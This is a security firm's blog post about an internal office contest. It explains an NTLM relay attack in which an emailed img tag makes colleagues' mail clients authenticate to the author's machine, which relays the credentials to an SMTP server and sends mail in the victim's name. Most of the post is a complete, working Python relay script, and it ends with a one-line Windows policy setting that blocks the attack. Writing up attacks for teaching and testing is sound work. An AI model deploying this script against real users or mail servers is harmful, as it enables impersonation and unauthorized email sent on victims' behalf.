Okiok

Hacking for Beer – NTLM Relay (HTTP to SMTP)

Another round of the Hacking for Beer contest. This time, the plan was to send an email that will trigger an authentication request back to my machine and have my machine forward connections to the email server. Such a thing is possible thanks to the NTLM protocol.

The NTLM challenge-response is an authentication protocol still widely used in Microsoft products.

 

Internet Explorer, Chrome as well as Outlook will automatically attempt to authenticate using NTLM if the domain is included in the “Local Intranet” zone or if the domain name does not include a “.” such as NETBIOS names. For Firefox users, the browser does not automatically access Windows credentials and will prompt the user for them.

For this attack, I sent an email with a img tag in the HTML code with the source address pointing to my machine: <img src=”https://mymachine:8080/”>. Some of my colleagues automatically downloads images from my emails. For those, simply opening the email was sufficient to trigger the evil request.

Summary of the attack:

  1. The email client of my victims sends a request to my server and my server responds with an HTTP 401 Unauthorized.
  2. The email client sends the NEGOTIATE_NTLM_MESSAGE to my machine.
  3. My machine makes a connection to the SMTP server and receive the CHALLENGE_NTLM_MESSAGE.
  4. My machine forwards the challenge to the victim.
  5. The victim sends back the AUTHENTICATION_NTLM_MESSAGE that my machine then forwards to the SMTP server.
  6. Finally, being authenticated on behalf of my victim, the famous email is successfully sent.

One funny thing is that another employee heard that my colleague had been hacked that way. So, my colleague forwarded him the “malicious” email and he began sending emails stating that he too will pay the beer next Friday ;).

Here is the script used for this attack, written in python:

###
# This script creates a listening HTTP server asking for NTLM authentication.
# It will forward challenge-responses back and forth from an SMTP server and
# the HTTP client to authenticate itself.
#
# After a successful authentication, a mail will be send on the user's behalf.
#
# You will probably want to configure your machine with a NetBIOS name or use
# the Metasploit module "auxiliary/spoof/nbns/nbns_response" and send emails
# with a HTLM IMG tag specifically chosen.
#
# Author: Michael Lahaye
###

import base64
import time
import re
import smtplib
import struct
import BaseHTTPServer

WEB_IP = '0.0.0.0'
WEB_PORT = 8080

MAIL_IP = '10.250.0.10'
MAIL_PORT = 587

RECIPIENT_ADDRESS = 'pentest@okiok.com'

class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def version_string(self):
        return 'Trusted Web Server'

    def do_HEAD(s):
        s.send_response(200)
        s.send_header('Content-type', 'text/html')
        s.end_headers()

    def do_GET(s):
        http_server = HTTPAuthServer()

        # Respond to a GET request with NTLM authentication request.
        ntlm_msg1 = http_server.get_ntlm1(s)
        if not ntlm_msg1:
            return
        print('NTLM NEGOTIATE_MESSAGE: {0}'.format(ntlm_msg1))

        print('Connecting to mail server ...')
        smtp = SMTPClient(MAIL_IP, MAIL_PORT)
        ntlm_msg2 = smtp.send_ntlm1(ntlm_msg1)
        print('NTLM CHALLENGE_MESSAGE: {0}'.format(ntlm_msg2))

        # Forward NTLM challenge to HTTP client
        ntlm_msg3, user, domain = http_server.get_ntlm3(s, ntlm_msg2)
        print('NTLM AUTHENTICATE_MESSAGE: {0}'.format(ntlm_msg3))

        # Forward finally NTLM authentication message to SMTP
        smtp.send_ntlm3(ntlm_msg3)

        recipient = RECIPIENT_ADDRESS
        if user.lower() == 'mlahaye':
           recipient = 'mlahaye@okiok.com' # Prevent self-pwnage ;)
        sender = '{0}@{1}'.format(user, domain)

        print('Sending mail from {0} ...'.format(sender))
        smtp.send_mail(sender, recipient)
        print('Mail from {0} is sent.'.format(sender))

class HTTPAuthServer:

    def get_ntlm1(self, s):
        s.send_response(401)
        s.send_header('Content-Type', 'text/html')
        s.send_header('WWW-Authenticate', 'NTLM')
        s.send_header('Connection', 'Keep-Alive')
        s.send_header('Content-Length', '0')
        s.send_header('Proxy-Support', 'Session-Based-Authentication')
        s.end_headers()

        return self._extract_ntlm_message(s)

    def get_ntlm3(self, s, ntlm2):
        s.send_response(401)
        s.send_header('Content-Type', 'text/html')
        s.send_header('WWW-Authenticate', 'NTLM ' + ntlm2)
        s.send_header('Connection', 'Keep-Alive')
        s.send_header('Content-Length', '0')
        s.send_header('Proxy-Support', 'Session-Based-Authentication')
        s.end_headers()

        ntlm3 = self._extract_ntlm_message(s)
        user, domain = self._parse_NTLM_AUTHENTICATE_MESSAGE(ntlm3)

        # Just send an HTTP 200 response back to HTTP client
        s.send_response(200)
        s.send_header('Content-Type', 'text/html')
        s.send_header('Connection', 'Keep-Alive')
        s.send_header('Content-Length', '0')
        s.end_headers()

        return ntlm3, user, domain

    def _extract_ntlm_message(self, s):
        ntlm_message = ''

        try:
            while True:
                line = s.rfile.readline().rstrip()
                if not line:
                    break
                reg = re.search(r'^Authorization: NTLM (\S+)$', line)
                if reg:
                    ntlm_message = reg.group(1)
        except:
            print('Socket timeout')

        return ntlm_message

    def _parse_NTLM_AUTHENTICATE_MESSAGE(self, ntlm3):
        ntlm3 = base64.decodestring(ntlm3)

        domain_len = struct.unpack("<H", ntlm3[28:30])[0]
        domain_offset = struct.unpack("<I", ntlm3[32:36])[0]
        domain = ntlm3[domain_offset:domain_offset+domain_len].replace('\x00', '')

        user_len = struct.unpack("<H", ntlm3[36:38])[0]
        user_offset = struct.unpack("<I", ntlm3[40:44])[0]
        user = ntlm3[user_offset:user_offset+user_len].replace('\x00', '')

        return user, domain

class SMTPClient:

    def __init__(self, hostname, port):
        self.server = smtplib.SMTP(hostname, port)
        self.server.ehlo()
        self.server.starttls()
        self.server.ehlo()

    def __del__(self):
        self.server.quit()

    def send_ntlm1(self, negotiate_message):
        code, response = self.server.docmd('AUTH', 'NTLM ' + negotiate_message)
        if code != 334:
            raise Exception('No NTLM Challenge Message received.')
        return response

    def send_ntlm3(self, authenticate_message):
        code, response = self.server.docmd('', authenticate_message)
        if code != 235:
            raise Exception('NTLM Authenticate Message error, ({0}, {1})'.format(code, response))
        return response

    def send_mail(self, sender, recipient):
        message = """\
From: {0}
To: {1}
Subject: Beer is coming back my friends

Who wants to come drink a beer with me next Friday? You are invited ;)

""".format(sender, recipient)
        self.server.sendmail(sender, recipient, message)

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class((WEB_IP, WEB_PORT), MyHandler)
    print('{0} Server Starts - {1}:{2}'.format(time.asctime(), WEB_IP, WEB_PORT))
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    print('{0} Server Stops - {1}:{2}'.format(time.asctime(), WEB_IP, WEB_PORT))

Prevention:

To block this attack, open your “Local Security Policy”, go to:

Security Settings -> Local Policies -> Security Options -> Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers -> “Deny all”

Exit mobile version